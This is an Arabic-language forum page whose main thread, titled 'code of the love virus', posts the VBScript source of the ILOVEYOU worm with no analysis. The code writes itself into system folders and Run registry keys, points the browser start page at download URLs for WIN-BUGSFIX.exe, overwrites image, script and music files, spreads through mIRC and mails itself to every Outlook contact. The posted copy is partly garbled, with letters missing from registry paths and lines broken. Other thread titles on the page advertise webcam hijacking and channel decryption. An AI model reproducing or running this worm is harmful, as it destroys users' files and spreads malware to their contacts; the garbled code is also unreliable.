منتديات بيت الغرام
<IFRAME src="http://chatbox.maxdinfo.fr/" width=900 height=500 scrolling=auto frameborder=1 > </IFRAME>

انضم إلى المنتدى ، فالأمر سريع وسهل

منتديات بيت الغرام
<IFRAME src="http://chatbox.maxdinfo.fr/" width=900 height=500 scrolling=auto frameborder=1 > </IFRAME>
منتديات بيت الغرام
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.
المواضيع الأخيرة
» طريقة التحميل من (OVI) حمل جميع تطبيقات جهازك من برامج والعاب
كود فيروس الحب Emptyالثلاثاء يونيو 05, 2012 5:52 am من طرف دم عمري دمعك

» برنامج السكايبي لجميع الجوالات ( جافا ) اوفر ماسنجر موبايل على الاطلاق يعني كل 3 ساعات شي وحدتين .. جرب ومابتندم
كود فيروس الحب Emptyالثلاثاء يونيو 05, 2012 5:45 am من طرف دم عمري دمعك

» فك تشفير القنوات عن طريق الإنترنت (محدث بسيرفرات حديثة) 13/12/2011
كود فيروس الحب Emptyالسبت ديسمبر 24, 2011 7:34 pm من طرف دم عمري دمعك

» احدث البروكسيات هنا
كود فيروس الحب Emptyالسبت ديسمبر 24, 2011 7:33 pm من طرف دم عمري دمعك

» اكسب $ في دقائق
كود فيروس الحب Emptyالسبت ديسمبر 24, 2011 7:32 pm من طرف دم عمري دمعك

» امتلك قناة فضائية فقط 1000 دولار
كود فيروس الحب Emptyالأربعاء نوفمبر 30, 2011 12:04 am من طرف دم عمري دمعك

» برنامج mig33 على الكمبيوتر
كود فيروس الحب Emptyالإثنين نوفمبر 21, 2011 4:46 pm من طرف دم عمري دمعك

» افتح كام صاحبك او صاحبتك غصب عنه !!
كود فيروس الحب Emptyالأحد نوفمبر 20, 2011 12:12 am من طرف دم عمري دمعك

» الترددات الشبكية للأقمار + أقوى الترددات من حيث الأشاره
كود فيروس الحب Emptyالأحد نوفمبر 20, 2011 12:07 am من طرف دم عمري دمعك

» الطريقة لتركيب الصحن ( اطبق الديجتال ) مع اقوى الترددات
كود فيروس الحب Emptyالأحد نوفمبر 20, 2011 12:05 am من طرف دم عمري دمعك

أفضل 10 أعضاء في هذا المنتدى
دم عمري دمعك - 391
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
الريس - 228
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
oOwassoufinOo - 163
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
هكر كنصفرة - 143
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
ابــو يعقوب - 64
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
Miss Dreem - 62
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
القلب الجريح - 48
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
angels.111 - 34
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
يعقوب الصغير - 30
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 
yilmaz.basha - 29
كود فيروس الحب 32425710كود فيروس الحب 32425710كود فيروس الحب 32425710 

المتواجدون الآن ؟
ككل هناك 1 عُضو حالياً في هذا المنتدى :: 0 عضو مُسجل, 0 عُضو مُختفي و 1 زائر :: 1 روبوت الفهرسة في محركات البحث

لا أحد

أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 47 بتاريخ الأحد مايو 26, 2019 8:47 am
مائة دعاء من ادعية الرسول صلى الله عليه وسلم#3

الثلاثاء سبتمبر 08, 2009 9:17 pm من طرف هكر كنصفرة

76- "اللهم زدنا ولا تنقصنا، وأكرمنا ولا تهنا، وأعطنا ولا تحرمنا، وآثرنا ولا تؤثر علينا، وأرضنا وارض عنا" رواه الترمذي.
77- "اللهم …


تعاليق: 2

قصّة الرسول(صلى الله عليه وسلم) وبيع النخلة‎

السبت فبراير 20, 2010 6:24 pm من طرف هكر كنصفرة

كان الرسول محمد صلي الله عليه وآله وسلم يجلس وسط أصحابه عندما دخل شاب يتيم إلى الرسول
يشكو إليه
قال الشاب " يا رسول الله ، كنت أقوم …


تعاليق: 0

القصيدة التي أبكت النبي صلى الله عليه وسلم

الثلاثاء سبتمبر 08, 2009 9:20 pm من طرف هكر كنصفرة

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته


جاء إلى رسول الله صلى الله عليه وسلم

ذات يوم، أب كبير السن ، يشكو إليه عقوق …


تعاليق: 0

مائة دعاء من ادعية الرسول صلى الله عليه وسلم#2

الثلاثاء سبتمبر 08, 2009 9:13 pm من طرف هكر كنصفرة

51- "اللهم إني أسألك بأن لك الحمد، لا إله إلا أنت, وحدك لا شريك لك, المنان, يا بديع السماوات والأرض، يا ذا الجلال والإكرام، يا حي يا قيوم، …


تعاليق: 0

مائة دعاء من ادعية الرسول صلى الله عليه وسلم#1

الثلاثاء سبتمبر 08, 2009 9:07 pm من طرف هكر كنصفرة

السلام عليكم ورحمة الله وبركاته
مائة دعاء من ادعية الرسول صلى الله عليه وسلم

1- "اللهم رَبَّنَا آتِنَا فِي الدُّنْيَا حَسَنَةً …


تعاليق: 0

معاملة نبينا الحبيب مع الاشبال

الثلاثاء سبتمبر 08, 2009 9:00 pm من طرف هكر كنصفرة

السلام عليكم ورحمة الله وبركاته
معاملة نبينا الحبيب مع الاشبل-
( حسن معاملة النبي للصغار )
كان رسول الله - صلى الله عليه وسلم - يلاعب …


تعاليق: 0

أسماء سيــــوف رســـول - صلى الله عليه وسلم - التســـــعة#3

الثلاثاء سبتمبر 08, 2009 8:56 pm من طرف هكر كنصفرة

السيف الرسَّوب: هذا أحد السيوف الرسول صلى الله عليه وسلم


التسعة بقي في أسرة الرسول صلى الله عليه وسلم مثل


ما بقي تابوت العهد عند بني …


تعاليق: 0

أسماء سيــــوف رســـول - صلى الله عليه وسلم - التســـــعة#2

الثلاثاء سبتمبر 08, 2009 8:51 pm من طرف هكر كنصفرة

السيف الحتف: غنِمه رسول الله محمد صلى الله عليه وسلم

من بنو قينقاع (يهود يثرب)

صنع هذا السيف بيديـه الشريفتين نبي الله داوود الذي



تعاليق: 0

أسماء سيــــوف رســـول - صلى الله عليه وسلم - التســـــعة

الثلاثاء سبتمبر 08, 2009 8:49 pm من طرف هكر كنصفرة

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته



قال الصّحابي الشاعر كعب بن زهير

رضي الله عنه في قصديته

المعروفة واصفاً …


تعاليق: 0


كود فيروس الحب

3 مشترك

اذهب الى الأسفل

كود فيروس الحب Empty رد: كود فيروس الحب

مُساهمة من طرف دم عمري دمعك الأحد أكتوبر 24, 2010 11:46 pm

والله ولا انا Very Happy

_________________
كود فيروس الحب Hh7.net_c59c4ed3cb1
دم عمري دمعك
دم عمري دمعك
عضو ذهبى
عضو ذهبى

ســــــ الاسد ــــورية
الاوسمة مدير المنتدى العام
عدد المساهمات : 391
نقاط : 9467
تاريخ التسجيل : 17/06/2009
العمر : 31

https://bit-elgram.own0.com

الرجوع الى أعلى الصفحة اذهب الى الأسفل

كود فيروس الحب Empty رد: كود فيروس الحب

مُساهمة من طرف ||$.#.$$. Huntsman .$$ الإثنين أكتوبر 18, 2010 9:36 pm

طيب انا ما فهمت منووو ولا حرف ... Shocked Question Question

||$.#.$$. Huntsman .$$
عضو جديد
عضو جديد

سوريا .. و بفتخر و ألأي مو عاجبو ينتحر
الاوسمة الاوسمةالاوسمة
عدد المساهمات : 2
نقاط : 2
تاريخ التسجيل : 26/09/2010
العمر : 29

الرجوع الى أعلى الصفحة اذهب الى الأسفل

كود فيروس الحب Empty كود فيروس الحب

مُساهمة من طرف دموع الحب الإثنين يوليو 26, 2010 9:54 pm

lor=red]]كود فايروس الحب


rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / ispyder@mail.com / @grammersoft group /
Manila,Philippines
On Error Resume Next
Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d
ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
Sub main()
On Error Resume Next
Dim wscr,rr
Set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting
Host\ettings\imeout")
If (rr>=1) Then
wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting
Host\ettings\imeout",0,"REG_DWORD"
End If
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\SKernel32.vbs")
c.Copy(dirwin&"\in32DLL.vbs")
c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub regruns()
On Error Resume Next
Dim num,downread
regcreate
" HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrentV
ersion\un\SKernel32
",dirsystem&"\SKernel32.vbs"
regcreate
" HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrentV
ersion\unServices\i
n32DLL",dirwin&"\in32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\oftware\icrosoft\nternet
Explorer\ownload Directory")
If (downread="") Then
downread="c:\
End If
If (fileexist(dirsystem&"\inFAT32.exe")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237
461234iuy7thjg/WIN-BUGSFIX
...exe"
End If
End If
If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then
regcreate
" HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrentV
ersion\un\IN-BUGSFI
X",downread&"\IN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart
Page","about :blank"
End If
End Sub
Sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType=3 Then
folderlist(d.path&"\)
End If
Next
listadriv = s
End Sub
Sub infectfiles(folderspec)
On Error Resume Next
Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.Name)
If (ext="vbs") Or (ext="vbe") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")
Or (ext="hta") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
bname=fso.GetBaseName(f1.path)
Set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\&bname&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="jpg") Or (ext="jpeg") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
Set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="mp3") Or (ext="mp2") Then
Set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.Close
Set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
End If
If (eq<>folderspec) Then
If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or
(s="script.ini") Or (s="mirc.hlp") Then
Set scriptini=fso.CreateTextFile(folderspec&"\cript.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{
scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}
scriptini.Close
eq=folderspec
End If
End If
Next
End Sub
Sub folderlist(folderspec)
On Error Resume Next
Dim f,f1,sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
End Sub
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
End Function
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub spreadtoemail()
On Error Resume Next
Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega
d
Set regedit=CreateObject("WScript.Shell")
Set out=WScript.CreateObject("Outlook.Application")
Set mapi=out.GetNameSpace("MAPI")
For ctrlists=1 To mapi.AddressLists.Count
Set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\icrosoft\AB\&a)
If (regv="") Then
regv=1
End If
If (Int(a.AddressEntries.Count)>Int(regv)) Then
For ctrentries=1 To a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead)
If (regad="") Then
Set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite


القسم الثاني
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead,1,"REG_DWORD"
End If
x=x+1
Next
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.AddressEntries.Count
Else
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.AddressEntries.Count
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub
Sub html
On Error Resume Next
Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){ar wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.re sizeTo(wi,hi);}&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,Chr(35)&Chr(45)&Chr(35),"'")
dt1=replace(dt1,Chr(64)&Chr(45)&Chr(64),"""")
dt4=replace(dt1,Chr(63)&Chr(45)&Chr(63),"/")
dt5=replace(dt4,Chr(94)&Chr(45)&Chr(94),"\)
dt2=replace(dta2,Chr(35)&Chr(45)&Chr(35),"'")
dt2=replace(dt2,Chr(64)&Chr(45)&Chr(64),"""")
dt3=replace(dt2,Chr(63)&Chr(45)&Chr(63),"/")
dt6=replace(dt3,Chr(94)&Chr(45)&Chr(94),"\)
Set fso=CreateObject("Scripting.FileSystemObject")
Set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=UBound(lines)
For n=0 To UBound(lines)
lines(n)=replace(lines(n),"'",Chr(91)+Chr(45)+Chr(91))
lines(n)=replace(lines(n),"""",Chr(93)+Chr(45)+Chr(93))
lines(n)=replace(lines(n),"\,Chr(37)+Chr(45)+Chr(37))
If (l1=n) Then
lines(n)=Chr(34)+lines(n)+Chr(34)
Else
lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _"
End If
Next
Set b=fso.CreateTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM")
b.Close
Set d=fso.OpenTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.Close
End Sub[/size]

دموع الحب
المدير العام للمنتدى
اعلى رتبه في المنتدى
المدير العام للمنتدى  اعلى رتبه في المنتدى

سورية
الاوسمة ادارة
عدد المساهمات : 20
نقاط : 754
تاريخ التسجيل : 30/05/2010
العمر : 26

الرجوع الى أعلى الصفحة اذهب الى الأسفل

الرجوع الى أعلى الصفحة

- مواضيع مماثلة

 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى